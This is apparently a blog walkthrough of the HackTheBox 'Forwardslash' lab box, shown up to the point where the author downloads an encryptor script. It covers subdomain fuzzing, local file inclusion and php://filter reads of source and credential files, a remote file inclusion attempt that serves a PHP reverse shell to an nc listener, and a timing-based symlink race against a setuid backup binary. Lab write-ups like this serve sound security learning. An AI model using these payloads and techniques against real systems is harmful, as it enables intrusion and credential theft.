HTB Forwardslash Walkthrough

A technical walkthrough of the HackTheBox Forwardslash box.

HTB Forwardslash Walkthrough

Hello and welcome to another of my HackTheBox walkthroughs! Woo, let me say that this was one of the most difficult boxes for me. There were many points where I was stuck on this box for a long time. As always, lets jump right in. It will be a long journey!

Like I always do, I start off with an Nmap scan!

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash$ nmap -A -T4 -oN output-nmap.txt 10.10.10.183
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-25 13:14 CEST
Nmap scan report for 10.10.10.183
Host is up (0.052s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.42 seconds


Two open ports, 22 for ssh and 80 for the web portal, that I saw "Did not follow the redirect to http://forwardslash.htb", probably because that web answers only on that domain. In fact, trying on the IP address no response and a 302 error code is shown. There's no DNS, so I have to force this domain on the specific IP Address writing the correct binding on the /etc/hosts files. Heres my check:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash$ wget http://10.10.10.183
--2020-04-25 13:24:28--  http://10.10.10.183/
Connecting to 10.10.10.183:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://forwardslash.htb [following]
--2020-04-25 13:24:28--  http://forwardslash.htb/
Resolving forwardslash.htb (forwardslash.htb)... failed: Name or service not known.
wget: unable to resolve host address ‘forwardslash.htb’
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash$ nslookup 
> forwardslash.htb
Server:         192.168.1.1
Address:        192.168.1.1#53

** server can't find forwardslash.htb: NXDOMAIN
> exit

Simple step, after that the web portal is available.

It seems that someone has already hacked this portal, lets see if we are able too. No link visible on the home, so I try to search for non-reachable URL with wfuzz, but nothing is found.

wfuzz --hc 404 -c -w /usr/share/wfuzz/wordlist/general/common.txt -u http://forwardslash.htb/FUZZ
wfuzz --hc 404 -c -w /usr/share/wfuzz/wordlist/general/admin-panels.txt -u http://forwardslash.htb/FUZZ
wfuzz --hc 404 -c -w /usr/share/wfuzz/wordlist/general/big.txt -u http://forwardslash.htb/FUZZ


I lost hours trying that way, creating my personal dictionary (on the forum it said enum, enum, enum), when finally I had an idea to try with subdomains. I search in my wordlist files if something good instead of the common rockyou or something similar, specific for domains.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ find /usr/share/ -name *domain*
/usr/share/rubygems-integration/all/specifications/domain_name-0.5.20160216.gemspec
/usr/share/rubygems-integration/all/gems/cms_scanner-0.10.0/lib/cms_scanner/public_suffix/domain.rb
[...]
/usr/share/dnsrecon/subdomains-top1mil.txt
/usr/share/dnsrecon/subdomains-top1mil-5000.txt
/usr/share/dnsrecon/subdomains-top1mil-20000.txt
/usr/share/gettext/intl/textdomain.c
/usr/share/gettext/intl/finddomain.c
[...]


Should be good.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.forwardslash.htb --hh 0

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.forwardslash.htb/
Total requests: 5000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                     
===================================================================


Fatal exception: Pycurl error 6: Could not resolve host: mail.forwardslash.htb


Damn, it's true, I should have thought about it, obviously, the subdomain answer is if there's a DNS, but there's no DNS. So I should be put on my hosts file all the subdomain that I want to try, but this is a crazy idea. Alternatively, I could insert a wildcard for all the subdomain possible, pity that the "hosts" file does not support wildcard. I search on the internet and in fact, I found a conversation where...

It happens that /etc/hosts file doesn't support wild card entries.
You'll have to use other services like dnsmasq. To enable it in dnsmasq, just edit dnsmasq.conf and add the following line:
address=/example.com/127.0.0.1

Ok interesting, but I have to study, I don't know this service and I haven't got it on my machine. I have to install and understand how it works. About that, I search on the internet, report here the link useful for me:

How to Setup a DNS/DHCP Server Using dnsmasq on CentOS/RHEL 8/7

In a short, "dnsmasq is a lightweight, easy to configure DNS forwarder, DHCP server software and router advertisement subsystem for small networks.", that it is what we need. Let me install and configure it...

[...]
# Add domains which you want to force to an IP address here.
# The example below send any host in double-click.net to a local
# web-server.
#address=/double-click.net/127.0.0.1
address=/forwardslash.htb/10.10.10.183

# --address (and --server) work with IPv6 addresses too.
#address=/www.thekelleys.org.uk/fe80::20d:60ff:fe36:f83
[...]
# Or which to listen on by address (remember to include 127.0.0.1 if
# you use this.)
listen-address=::1,127.0.0.1,10.10.14.233
# If you want dnsmasq to provide only DNS service on an interface,
# configure it as shown above, and then use the following line to
[...]


...modify my /etc/resolv.conf file...

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ cat /etc/resolv.conf 
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1
nameserver 127.0.0.1


...restart my service...

systemctl restart dnsmasq.service


...and verify that all is working fine (crossing my fingers)...

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ ping something.forwardslash.htb
PING something.forwardslash.htb (10.10.10.183) 56(84) bytes of data.
64 bytes from forwardslash.htb (10.10.10.183): icmp_seq=1 ttl=63 time=72.1 ms
64 bytes from forwardslash.htb (10.10.10.183): icmp_seq=2 ttl=63 time=124 ms
64 bytes from forwardslash.htb (10.10.10.183): icmp_seq=3 ttl=63 time=49.9 ms
^C
--- something.forwardslash.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 49.935/82.047/124.127/31.098 ms


Good, lets come back to the wfuzz tool.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.forwardslash.htb --hh 0
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.forwardslash.htb/
Total requests: 5000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                     
===================================================================

000000055:   302        0 L      6 W      33 Ch       "backup"                                                                                                                    
000000690:   400        12 L     53 W     422 Ch      "gc._msdcs"                                                                                                                 
000002691:   302        0 L      0 W      0 Ch        "tb"                                                                                                                        
Fatal exception: Pycurl error 6: Could not resolve host: m..forwardslash.htb


I inserted these new subdomains in the "hosts" file (ignore the second) and proceeded to investigate (before you do though, restore your original configuration and stop the dnsmasq service, no longer needed).

Navigating the new domains you understand that tb is the main domain you already saw, but, the backup domain, it seems to be the original "working" portal (with some disabled function, but...). You have to access the portal, so, register yourself and go inside it, you'll find interesting functions.

On the HTB forum people talk about RFI/LFI vulnerability, if you don't know what is it, I suggest you delve into the topic. In the meantime, RFI stays for Remote File Inclusion and you can imagine the LFI stay for Local File Inclusion.

Its possible to include in php pages (usual) remote code file (for example from other domains) or local file (of the remote machine). The inclusion is done through a form field on the page that is used backend  as a file name to use, (usually) an upload form with file field inside (yes, like the "change your Profile Picture!" page).

To test it, you have only to specify an URL to an external domain or the path of the possible local file to the machine, like, for example, "../../../../../etc/resolv.conf" (you don't know where you are on the local folder, so, you have to target a known file and exit to the root, try to guess how much ../ you need to exit to the root folder).

Ok, but you have a problem, as you can see the "Pain" user (nice to know that there could be a possible user account inside the machine) has disabled the feature and has disabled the control on the page. But what about the backend code? To try you can enable the controls on the form and try. Press F12 to open your browser developer tool, inspect the HTML script and enable the controls deleting the "disable" attribute on the respective tags. Now you can write on the filed and submit the form and understand that... yes, it's vulnerable!

Well, this is an LFI, but if I have an RFI is better, I can include a reverse shell and connect to the server, let me try. I need a php reverse shell.

https://github.com/pentestmonkey/php-reverse-shell

I think this should work well, I activate a local web server and provide the URL to the form.

https://github.com/pentestmonkey/php-reverse-shell

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ python2 -m SimpleHTTPServer 9998
Serving HTTP on 0.0.0.0 port 9998 ...


in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ nc -lvnp 4444
listening on [any] 4444 ...


http://10.10.14.223:9998/php-reverse-shell.php
-- SUBMIT --


But, nothing happens. Mmmm, there is the possibility that is not completely vulnerable, in fact, I try with some simplest code, but what I receive is the php tag, modified like HTML comment tag, probably this vulnerability is controlled and fixed.

To understand when I specify this <?php exec("ls -la /") ?> I receive this <!--?php exec("ls -la /") ?-->. Ok, this is not the right way, I try for a time to understand if I can bypass this simple fix, but, I find nothing, so, I come back to the LFI to try to collect some additional information.

I try with standard files, like ../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
list:x:38:38:Mailing
gnats:x:41:41:Gnats
Bug-Reporting
systemd-network:x:100:102:systemd
lxd:x:105:65534::/var/lib/lxd/:/bin/false
pollinate:x:109:1::/var/cache/pollinate:/bin/false
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL
Server,,,:/nonexistent:/bin/false


I have a list of users, but I cannot read the shadow file, ever the user.txt in the users' folder I identify (too simple). I try with some classical php file, in order to find some credentials into it, but...

./login.php
./profilepicture.php

Permission Denied; not that way ;)


In the part that code is well checked. Let me try, anyway with some default file that programmers usually call:

./config.php

<!--
?php
//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');
 
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?
-->


Well, this is a php commented file, but I probably can't use that password which is for the database connection and in addition, for the www-data user. No, my know-how about the LFI is too poor, I have to study again, search on the internet and... https://www.1337pwn.com/how-to-hack-a-website-using-local-file-inclusion-lfi/

Well, passwd file, done... shadow, done... php file, some additional info but, done... what is this? "php://filter/read=convert.base64-encode/resource=config.php"... Uhm... interesting... great, I can try to download files as encrypted data. Why not... let's try, but I can't continue to use the browser by enabling the controls on the form every time (I thought it would have taken less time), so I switch to Postman..

That's cool, but, I cannot find anything on the known files, I need to identify other files and, only now, I remember that I have scanned the second-level domain, but not this backup domain. Let me check to see if I can find some other files on this backup portal.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ wfuzz --hc 404 -c -R 2 -w /usr/share/wfuzz/wordlist/general/common.txt -u http://backup.forwardslash.htb/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://backup.forwardslash.htb/FUZZ
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                     
===================================================================

000000256:   301        9 L      28 W     332 Ch      "dev"                                                                                                                       
 |_  Enqueued response for recursion (level=1)

Total time: 32.10767
Processed Requests: 1898
Filtered Requests: 1897
Requests/sec.: 59.11359





in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ wfuzz --hc 404 -c -R 2 -w /usr/share/wfuzz/wordlist/general/common.txt -u http://backup.forwardslash.htb/FUZZ.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://backup.forwardslash.htb/FUZZ.php
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                     
===================================================================

000000062:   200        1 L      22 W     127 Ch      "api"                                                                                                                       
000000193:   200        0 L      0 W      0 Ch        "config"                                                                                                                    
000000311:   302        0 L      0 W      0 Ch        "environment"                                                                                                               
000000421:   302        0 L      1 W      1 Ch        "index"                                                                                                                     
000000487:   200        39 L     99 W     1267 Ch     "login"                                                                                                                     
000000490:   302        0 L      0 W      0 Ch        "logout"                                                                                                                    
000000677:   200        41 L     104 W    1490 Ch     "register"                                                                                                                  
000000919:   302        0 L      6 W      33 Ch       "welcome"                                                                                                                   

Total time: 6.769265
Processed Requests: 949
Filtered Requests: 941
Requests/sec.: 140.1924


Well, now I have something to work on! The api.php file encrypted:

PD9waHAKCnNlc3Npb25fc3RhcnQoKTsKCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgewoKCWlmKCghaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CgkJZWNobyAiVXNlciBtdXN0IGJlIGxvZ2dlZCBpbiB0byB1c2UgQVBJIjsKCQlleGl0OwoJfQoKCSRwaWN0dXJlID0gZXhwbG9kZSgiLS0tLS1vdXRwdXQtLS0tLTxicj4iLCBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKSk7CglpZiAoc3RycG9zKCRwaWN0dXJlWzBdLCAic2Vzc2lvbl9zdGFydCgpOyIpICE9PSBmYWxzZSkgewoJCWVjaG8gIlBlcm1pc3Npb24gRGVuaWVkOyBub3QgdGhhdCB3YXkgOykiOwoJCWV4aXQ7Cgl9CgllY2hvICRwaWN0dXJlWzBdOwoJZXhpdDsKfQo/Pgo8IS0tIFRPRE86IHJlbW92ZWQgYWxsIHRoZSBjb2RlIHRvIGFjdHVhbGx5IGNoYW5nZSB0aGUgcGljdHVyZSBhZnRlciBiYWNrc2xhc2ggZ2FuZyBhdHRhY2tlZCB1cywgc2ltcGx5IGVjaG9zIGFzIGRlYnVnIG5vdyAtLT4K


Which decrypted is:

<?php

session_start();

if (isset($_POST['url'])) {

	if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
		echo "User must be logged in to use API";
		exit;
	}

	$picture = explode("-----output-----<br>", file_get_contents($_POST['url']));
	if (strpos($picture[0], "session_start();") !== false) {
		echo "Permission Denied; not that way ;)";
		exit;
	}
	echo $picture[0];
	exit;
}
?>
<!-- TODO: removed all the code to actually change the picture after backslash gang attacked us, simply echos as debug now -->


Ah ah, do you recognize the message? In the index.php instead

[...]

		if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

			error_log("Getting file");
			echo ftp_get_string($conn_id, "debug.txt");
		}
[...]


That's a little better. We haven't an open ftp port, so, we can try to use it on the ssh.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ ssh [email protected]
The authenticity of host '10.10.10.183 (10.10.10.183)' can't be established.
ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.183' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat May  2 08:15:15 UTC 2020

  System load:  0.0                Processes:            190
  Usage of /:   31.1% of 19.56GB   Users logged in:      1
  Memory usage: 22%                IP address for ens33: 10.10.10.183
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

16 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat May  2 06:06:27 2020 from 10.10.14.120
chiv@forwardslash:~$ 


Perfect, we are on the right path.

chiv@forwardslash:~$ ls -l
total 4
-rw-r--r-- 1 root root 44 May  2 06:33 user.txt
chiv@forwardslash:~$ cat user.txt 
LoL , You need to get user pain to get user


Ahah, nice, this is a joke from the other guys, after a reset of the box, I cannot find it again.

chiv@forwardslash:~$ cd ..
chiv@forwardslash:/home$ ls -l
total 8
drwxr-xr-x 5 chiv chiv 4096 May  2 06:33 chiv
drwxr-xr-x 8 pain pain 4096 May  2 06:53 pain
chiv@forwardslash:/home$ cd pain/
chiv@forwardslash:/home/pain$ ls -l
total 60
drwxr-xr-x 2 pain root  4096 May  2 04:38 encryptorinator
-rwxrwxr-x 1 pain pain 46631 May  2 06:53 linenu.sh
drwxr-xr-x 2 root root    20 Mar 17 20:07 mnt
-rw-r--r-- 1 pain root   256 Jun  3  2019 note.txt
-rw------- 1 pain pain    33 May  2 02:24 user.txt
chiv@forwardslash:/home/pain$ cat user.txt 
cat: user.txt: Permission denied
chiv@forwardslash:/home/pain$ cat note.txt 
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.

-chiv


Mmmm, I suppose more that these files are the exploit from other "colleagues" that are playing with the machine, but the note.txt file is an original clue.

chiv@forwardslash:/home/pain$ ls mnt/
id_rsa
chiv@forwardslash:/home/pain$ cat mnt/id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
[...]
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----


No, it's too simple, I think I'll not consider this, probably the solution leave here from others who are hacking with me. Ok, I remember the api.php file, where inside is a control about the domain, to allow the use of that code only from the local domain (&& $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"), so, I'd like to try to launch that api.php from localhost and see the output. Give a look at the open port locally and proceed.

chiv@forwardslash:/tmp/not_this_please$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
chiv@forwardslash:/tmp/not_this_please$ wget http://127.0.0.1:3306/api.php
--2020-05-02 08:43:49--  http://127.0.0.1:3306/api.php
Connecting to 127.0.0.1:3306... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: ‘api.php’

api.php                                             [ <=>                                                                                                 ]     126  --.-KB/s    in 0s      

2020-05-02 08:43:49 (1.33 MB/s) - ‘api.php’ saved [126]

chiv@forwardslash:/tmp/not_this_please$ ls -l
total 212
-rw-rw-r-- 1 chiv chiv    126 May  2 08:43 api.php
-rwxrwxr-x 1 chiv chiv 175038 Apr 23 12:59 linpeas.sh
-rwxrwxr-x 1 chiv chiv  34947 Apr 18 13:53 lse.sh
chiv@forwardslash:/tmp/not_this_please$ cat api.php
[
5.7.29-0ubuntu0.18.04.1)]S2    k���jDl2mysql_native_password�Got packets out of order


At this point, someone reset the box and with a big surprise, I confirm that much more than that files are no real clues.

chiv@forwardslash:~$ ls -l
total 0
chiv@forwardslash:~$ pwd
/home/chiv
chiv@forwardslash:~$ ls -l
total 0
chiv@forwardslash:~$ cd ..
chiv@forwardslash:/home$ ls -l
total 8
drwxr-xr-x 5 chiv chiv 4096 Mar 24 10:53 chiv
drwxr-xr-x 7 pain pain 4096 Mar 17 20:28 pain
chiv@forwardslash:/home$ cd pain
chiv@forwardslash:/home/pain$ ls -l
total 12
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 encryptorinator
-rw-r--r-- 1 pain root  256 Jun  3  2019 note.txt
-rw------- 1 pain pain   33 May  2 09:48 user.txt
chiv@forwardslash:/home/pain$ cat user.txt
cat: user.txt: Permission denied
chiv@forwardslash:/home/pain$ cd encryptorinator/
chiv@forwardslash:/home/pain/encryptorinator$ ls -l
total 8
-rw-r--r-- 1 pain root 165 Jun  3  2019 ciphertext
-rw-r--r-- 1 pain root 931 Jun  3  2019 encrypter.py
chiv@forwardslash:/home/pain/encryptorinator$ cat encrypter.py 
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
chiv@forwardslash:/home/pain/encryptorinator$ cat ciphertext 
�ף�▒�,L�
>�2Xբ
|�?I�)�E�-�˒\/;�Dzy�[w#M��2�~��Y@'�缘��泣,����P��@5��f$�\*r�wF��3�g�X�}�i6����~�K��Y�Ŏ���'▒%��e�>��x�o�+g�/�K�>�^��V��N�k��e
chiv@forwardslash:/home/pain/encryptorinator$ 


Well, I lost this "encryptorinator" folder before, but it seems to be an interesting point. Leave it here, for now, we will come back in the future.

If you have a good eye, you should have seen that I have already downloaded two scripts for elevation privileges discovery (linpeas.sh and lse.sh in the tmp folder). To download, I use the webserver on my machine yet used to try the RFI vulnerability. It report an interesting executable on the /usr/bin folder.

chiv@forwardslash:/tmp/not-this$ ls -l /usr/bin/backup 
-r-sr-xr-x 1 pain pain 13384 Mar  6 10:06 /usr/bin/backup
chiv@forwardslash:/tmp/not-this$ /usr/bin/backup 
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet, 
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 13:17:40
ERROR: 5fb6b0e2ab3cb8dd0ddd0f09331d9124 Does Not Exist or Is Not Accessible By Me, Exiting...


I don't know what it does exactly, but the name is quite clear. The strange thing is that he is trying to open a file with a name that seems to be a hashing or something similar. I try to launch it again.

chiv@forwardslash:/tmp/not-this$ /usr/bin/backup 
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet, 
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 13:17:55
ERROR: c79e35d49382c401e2bd4addf1659a35 Does Not Exist or Is Not Accessible By Me, Exiting...


And the strangest thing is that it changes each time I launch it. An explanation can be found on the note file near the program.

chiv@forwardslash:/tmp/not-this$ cat /var/backups/note.txt 
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH.

-Pain


I think I understand, but I would like to be sure about that, so, my idea is to download the file on my machine to disassemble and investigate.

chiv@forwardslash:/tmp/not-this$ scp [email protected]:/usr/bin/backup ./
[email protected]'s password: 
.//backup: Permission denied

chiv@forwardslash:/tmp/not-this$ cp /usr/bin/backup ./

chiv@forwardslash:/tmp/not-this$ scp [email protected]:/tmp/not-this/backup ./   
[email protected]'s password: 
.//backup: Permission denied

chiv@forwardslash:/tmp/not-this$ python -m SimpleHTTPServer 9995 
Serving HTTP on 0.0.0.0 port 9995 ...
10.10.14.223 - - [02/May/2020 14:15:16] "GET /backup HTTP/1.1" 200 -


In the beginning it seems that I cannot download it, but with some workaround I take it. Here my analysis using IDA Pro:

Well, from the code and the flow is clear that the current time is retrieved and a string is formatted with the hour, minutes and seconds in that way "%02d:%02d:%02d", after, an MD5 HASH is executed on the result string.

The output is used as the file name to open. The file has to exist and to be accessible, in that case, the process continues. Well, I want to understand what happens when the file is found, but, to create a file with these characteristics I have two possibilities. The first one is to make the executable believe that the system time is a specific one decided by me so that I can know and be sure of the name of the file that the program will try to open.

To do that I think of faketimer, a nice tool that does exactly this thing, but I have to install some libraries on the target machine, and I think that I have not the right privileges to do that (I tried many ways to do without installing any libraries, but I failed). The second is to create (or copy) the file, in a single action, starting the executable. This second solution is a little bit complex, but feasible.

chiv@forwardslash:/tmp/no-this$ cp test.txt "$((echo -n $(date +%H:%M:%S) | md5sum) | cut -c1-32)" && /usr/bin/backup 
----------------------------------------------------------------------
 Pain's Next-Gen Time Based Backup Viewer
 v0.1
 NOTE: not reading the right file yet, 
 only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 16:48:38
I have this file


Let me explain. I create a file named test.txt where I put inside the text "I have this file". The instruction, copy (cp) the test.txt file in the same location but with a different name that is the current time (date) formatted as required by the executable (%H:%M:%S) without the end character of the string (echo -n) and applied to the result the MD5 HASH algorithm (md5sum).

The output will have one "space" and a "minus" at the end, that I truncate (cut -c1-32) considering only the 32 characters of the MD5 HASH result. Immediate after, I launch the backup program (... && ...). The result is that the executable read and show my file. Ok, that's fantastic, if this backup work with privileges that I haven't probably I can read some file that I have not access. Then, which file do you want to read?

chiv@forwardslash:/tmp/no-this$ ln -s /home/pain/user.txt "$((echo -n $(date +%H:%M:%S) | md5sum) | cut -c1-32)" && /usr/bin/backup 
----------------------------------------------------------------------
 Pain's Next-Gen Time Based Backup Viewer
 v0.1
 NOTE: not reading the right file yet, 
 only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 17:09:30
a******************************6


Well, I have the first flag, go ahead to understand how to reach the root flag (obviously, I try the same method, but it doesn't have the access to root.txt file). I try with different files...

chiv@forwardslash:/tmp/not-this$ cp /var/backups/config.php.bak "$((echo -n $(date +%H:%M:%S) | md5sum) | cut -c1-32)" && /usr/bin/backup 
cp: cannot open '/var/backups/config.php.bak' for reading: Permission denied


...until I find the right one.

chiv@forwardslash:/tmp/not-this$ ln -s /var/backups/config.php.bak "$((echo -n $(date +%H:%M:%S) | md5sum) | cut -c1-32)" && /usr/bin/backup 
----------------------------------------------------------------------
 Pain's Next-Gen Time Based Backup Viewer
 v0.1
 NOTE: not reading the right file yet, 
 only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 16:50:55
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
 
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>


At first, I think that could be an encrypted password, but it is used on the mysql library connection method, without any crypto algorithm specified, so, I try to connect as if it be the plaintext password.

chiv@forwardslash:/tmp/not-this$ su - pain
Password: 
pain@forwardslash:~$ 


Wooo, well done.

pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/


What I can do with sudo privileges? what's this cryptsetup? These are things I don't know and I have to study (sometimes I think that this missed knowledge it slows me down a lot).

Ok, LUKS (Linux Unified Key Setup) is a disk encryption specification created by Clemens Fruhwirth in 2004. After a lot of minutes, spet to understand how to use it, I try to... use it.

pain@forwardslash:~/encryptorinator$ /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img /dev/mapper/backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img: 


Mmmm, wheres the passphrase? I search online some exploits to bypass this kind of protection, but all I found require root privileges and use additional tool or capability of the cryptsetup that I cannot launch with my actual privileges.

Fortunately, I know where I can find the passphrase, but unfortunately, I have not yet found the key to encrypt the message in the encryptorinator folder (do you remember). Anyway, I want to try to analyze the encryptor and search for a possible solution, so, I download the ciphertext and the code on my machine.

scp [email protected]:encryptorinator/ciphertext ./
scp [email protected]:encryptorinator/encrypter.py ./


